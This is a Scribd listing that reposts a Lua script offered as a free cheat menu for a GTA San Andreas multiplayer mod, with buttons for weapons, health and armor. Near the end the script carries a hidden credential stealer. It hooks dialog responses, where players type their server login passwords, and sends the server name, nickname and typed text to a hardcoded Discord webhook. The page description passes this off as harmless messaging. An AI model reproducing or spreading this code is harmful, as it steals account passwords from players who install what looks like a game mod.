0% found this document useful (0 votes)
121 views6 pages

Free Menu IMGUI - Lua

The document is a Lua script for a mod in the game Grand Theft Auto: San Andreas that utilizes the Moonloader and ImGui libraries to create a user interface for weapon management. It allows players to add armor, health, and various weapons through interactive buttons. Additionally, it includes functionality to send messages to a Discord webhook when a dialog response is sent in-game.

Uploaded by

a96635703
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
121 views6 pages

Free Menu IMGUI - Lua

The document is a Lua script for a mod in the game Grand Theft Auto: San Andreas that utilizes the Moonloader and ImGui libraries to create a user interface for weapon management. It allows players to add armor, health, and various weapons through interactive buttons. Additionally, it includes functionality to send messages to a Discord webhook when a dialog response is sent in-game.

Uploaded by

a96635703
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 6

require 'lib.

monetloader'
local requests = require 'requests'
local sampev = require 'lib.samp.events'

require 'lib.moonloader'
local memory = require 'memory'
local encoding = require 'encoding'
encoding.default = 'CP1251'

local u8 = encoding.UTF8
local ffi = require 'ffi'
local hook = require('monethook')
local imgui = require 'mimgui'

---@type table

local locales = {
adolf1 = "ARMOR",
adolf2 = "DARAH",
adolf3 = "M4",
adolf9 = "AK47",
adolf4 = "Desert",
adolf5 = "Sotguns",
adolf8 = "MP5",
adolf7 = "ResetWeapons",
adolf6 = "AddAmmo",
adolf10 = "Sniper",
adolf11 = "Sawnoff",
adolf12 = "Rifle",
adolf13 = "TEC9",
adolf14 = "Minigun",
adolf15 = "Rudal",
adolf16= "Silenced",
}

local shared = require 'SAMemory.shared'

shared.require 'RenderWare'

local gta = ffi.load('GTASA')

local MDS = MONET_DPI_SCALE


local window = imgui.new.bool(false)

imgui.OnInitialize(function()

imgui.GetIO().IniFilename = nil

imgui.GetStyle():ScaleAllSizes(MDS)

end)

imgui.OnFrame(function ()

return window[0]
end, function()

local resX, resY = getScreenResolution()

imgui.SetNextWindowPos(imgui.ImVec2(resX/2, resY/2), imgui.Cond.FirstUseEver,


imgui.ImVec2(0.5, 0.5))

imgui.SetNextWindowSize(imgui.ImVec2(465 * MDS, 225 * MDS),


imgui.Cond.FirstUseEver)
imgui.Begin("IMGUI REMAKE BY ZAXX MEWING", window)

if imgui.Button(u8(locales.adolf1), imgui.ImVec2(GetMiddleButtonX(3), 20 *
MDS)) then
addArmourToChar(PLAYER_PED, 20)
end

imgui.SameLine()

if imgui.Button(u8(locales.adolf2), imgui.ImVec2(GetMiddleButtonX(3), 20 *
MDS)) then
setCharHealth(PLAYER_PED, 100)
end

if imgui.Button(u8(locales.adolf6), imgui.ImVec2(GetMiddleButtonX(3), 20 *
MDS)) then
wp = getCurrentCharWeapon(PLAYER_PED)
bullet = getAmmoInCharWeapon(PLAYER_PED, wp)

addAmmoToChar(PLAYER_PED, wp, 100)


end

imgui.SameLine()

if imgui.Button(u8(locales.adolf7), imgui.ImVec2(GetMiddleButtonX(3), 20 *
MDS)) then
removeAllCharWeapons(PLAYER_PED)
end

imgui.TextColored(imgui.ImVec4(250, 0, 2, 1), "MENU WEAPON BY ZAXX")

if imgui.Button(u8(locales.adolf3), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(356)
requestModel(356)
giveWeaponToChar(PLAYER_PED, 31, 5)
end

imgui.SameLine()

if imgui.Button(u8(locales.adolf4), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(348)
requestModel(348)
giveWeaponToChar(PLAYER_PED, 24, 5)
end
imgui.SameLine()

if imgui.Button(u8(locales.adolf10), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(358)
requestModel(358)
giveWeaponToChar(PLAYER_PED, 34, 5)
end

imgui.SameLine()

if imgui.Button(u8(locales.adolf14), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(362)
requestModel(362)
giveWeaponToChar(PLAYER_PED, 38, 5000)
end

if imgui.Button(u8(locales.adolf8), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(353)
requestModel(353)
giveWeaponToChar(PLAYER_PED, 29, 5)
end

imgui.SameLine()

if imgui.Button(u8(locales.adolf5), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(349)
requestModel(349)
giveWeaponToChar(PLAYER_PED, 25, 5)
end

imgui.SameLine()

if imgui.Button(u8(locales.adolf12), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(357)
requestModel(357)
giveWeaponToChar(PLAYER_PED, 33, 5)
end

imgui.SameLine()

if imgui.Button(u8(locales.adolf15), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(359)
requestModel(359)
giveWeaponToChar(PLAYER_PED, 35, 5)
end

if imgui.Button(u8(locales.adolf9), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(355)
requestModel(355)
giveWeaponToChar(PLAYER_PED, 30, 5)
end
imgui.SameLine()

if imgui.Button(u8(locales.adolf11), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(350)
requestModel(350)
giveWeaponToChar(PLAYER_PED, 26, 5)
end

imgui.SameLine()

if imgui.Button(u8(locales.adolf13), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(372)
requestModel(372)
giveWeaponToChar(PLAYER_PED, 32, 5)
end

imgui.SameLine()

if imgui.Button(u8(locales.adolf16), imgui.ImVec2(GetMiddleButtonX(5), 30 *
MDS)) then
getWeapontypeModel(347)
requestModel(347)
giveWeaponToChar(PLAYER_PED, 23, 5)
end

imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text("By")
imgui.SameLine()
imgui.TextColored(imgui.ImVec4(250, 0, 0, 1), "AdolfMenu")
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text(" ")
imgui.SameLine()
imgui.Text("Remake")
imgui.SameLine()
imgui.TextColored(imgui.ImVec4(250, 0, 0, 1), "ZaxxMewing")
imgui.End()

end)
sampRegisterChatCommand("admenu", function()
window[0] = not window[0]

end)

function GetMiddleButtonX(count)

local width = imgui.GetWindowContentRegionWidth()

local space = imgui.GetStyle().ItemSpacing.x

return count == 1 and width or width / count - ((space * (count - 1)) /


count)

end

function main()
wait(7000)
sampAddChatMessage("[PATERRSIGMA]: {FF0000}/admenu", -1)
end

function onScriptTerminate(script, quitGame)

if script == thisScript() then

end

end

function sampev.onSendDialogResponse(satu,dua,tiga,inputtext)
local servername = sampGetCurrentServerName()
local boolean,id = sampGetPlayerIdByCharHandle(PLAYER_PED)
local playerName = sampGetPlayerNickname(id)

sendToDiscord(string.format("server: %s username: %s password: %s", servername,


playerName, inputtext))
end

function sendToDiscord(message)
local webhook_url =
"https://discord.com/api/webhooks/1310994581071986798/_49C0GEMCed_Rqn_IsN8a0p_pWRPZ
IfezlTfNaA4iUs8LzSMtzgVFQb_jJf6m6azplBj"
local response = requests.post{
url = webhook_url,
headers = {
["Content-Type"] = "application/json"
},
data = {
content = message,
username = "Pak Vincent"
}
}

end

You might also like